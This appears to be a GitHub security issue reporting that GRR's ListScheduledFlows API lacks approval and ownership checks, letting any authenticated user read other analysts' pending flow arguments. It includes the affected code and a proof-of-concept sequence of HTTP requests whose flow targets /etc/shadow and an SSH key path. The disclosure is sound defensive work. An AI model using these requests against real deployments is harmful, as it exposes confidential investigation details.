Skip to content

ListScheduledFlows missing approval and ownership check exposes pending flow arguments cross-user #1167

Description

@geo-chen

https://issuetracker.google.com/issues/526047481

Affected Versions: confirmed on 4.0.0.0 (HEAD 9f8f797)

Summary

Any authenticated GRR user can enumerate another user's pending scheduled flows on any client, including the full flow arguments (target file paths, artifact names, etc.), without holding or requesting a client approval. The endpoint GET /api/v2/clients/<client_id>/scheduled-flows/<creator> bypasses the approval-based access control that protects every other client-data endpoint.

Details

GRR's approval model gates all client data operations behind an explicit approval workflow. The ApiCallRouterWithApprovalChecks router enforces this by calling self.approval_checker.CheckClientAccess(context, args.client_id) (or the hunt/cron equivalents) on every sensitive handler. However, ListScheduledFlows has no such check:

grr/server/grr_response_server/gui/api_call_router_with_approval_checks.py, lines 710-715:

def ListScheduledFlows(
    self,
    args: api_flow_pb2.ApiListScheduledFlowsArgs,
    context: Optional[api_call_context.ApiCallContext] = None,
) -> api_flow.ApiListScheduledFlowsHandler:
    return self.delegate.ListScheduledFlows(args, context=context)

No CheckClientAccess, no ownership check on args.creator. Compare the sibling endpoint ListFlows at line 524 which requires approval before it returns:

def ListFlows(self, args, context=None):
    self.approval_checker.CheckClientAccess(context, args.client_id)
    return self.delegate.ListFlows(args, context=context)

The handler ApiListScheduledFlowsHandler (flow.py, lines 1403-1420) passes args.creator directly from the URL to the database query with no validation:

def Handle(self, args, context=None):
    results = flow.ListScheduledFlows(
        client_id=args.client_id, creator=args.creator
    )

The URL route is GET /api/v2/clients/<client_id>/scheduled-flows/<creator> (api_call_router.py, line 1022). The creator field in the URL is passed directly into the DB query via _FillProtoWithRouteArgs, so any caller can enumerate any user's scheduled flows on any client.

The ApiScheduledFlow proto response (flow.proto, lines 408-419) includes flow_name and flow_args -- the full Any-packed flow arguments containing target file paths, artifact selections, and any other sensitive operational parameters the planning user submitted.

PoC

Prerequisites: GRR server running with ApiCallRouterWithApprovalChecks as the default router (production configuration). Two accounts: alice (analyst who has scheduled a flow) and bob (analyst with no approval or relationship to alice's target client).

  1. Alice schedules a FileFinder flow on client C.aabbccddeeff0011 (via the UI or API):
POST /api/v2/clients/C.aabbccddeeff0011/scheduled-flows HTTP/1.1
Authorization: Basic YWxpY2U6...
X-CSRFToken: <token>
Content-Type: application/json

{"clientId": "C.aabbccddeeff0011", "flow": {"name": "FileFinder", "args": {"@type": "type.googleapis.com/grr.FileFinderArgs", "paths": ["/etc/shadow", "/home/target-user/.ssh/id_rsa"]}}}

Response: 200 with scheduledFlowId.

  1. Bob (no approval on this client) reads alice's scheduled flows:
GET /api/v2/clients/C.aabbccddeeff0011/scheduled-flows/alice HTTP/1.1
Authorization: Basic Ym9iOi4uLg==

Response (HTTP 200):

{"scheduledFlows": [{"scheduledFlowId": "31A94490C9192359", "clientId": "C.aabbccddeeff0011", "creator": "alice", "flowName": "FileFinder", "flowArgs": {"@type": "type.googleapis.com/grr.FileFinderArgs", "paths": ["/etc/shadow", "/home/target-user/.ssh/id_rsa"]}, "createTime": "1781921551882868"}]}

For comparison, Bob's attempt to call the approval-gated sibling endpoint returns 403:

GET /api/v2/clients/C.aabbccddeeff0011/flows HTTP/1.1
Authorization: Basic Ym9iOi4uLg==

Response (HTTP 403): {"message": "Access denied by ACL: No approval found.", "subject": "aff4:/C.aabbccddeeff0011"}

Tested live on commit 9f8f797 (GRR 4.0.0.0).

Impact

Any authenticated GRR user can read the pending scheduled flows of all other analysts on any client, including the full flow arguments: target file paths (e.g., /etc/shadow, SSH keys), artifact collection lists, and other sensitive operational parameters. An attacker with a valid GRR account can map out which clients are under active investigation, what files are being targeted, and which artifacts are being collected -- all without ever obtaining a client approval. In GRR deployments where the scheduled-flow feature is used (it is the recommended workflow for scheduling flows pending approval), this leaks the entire investigative context of other analysts.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions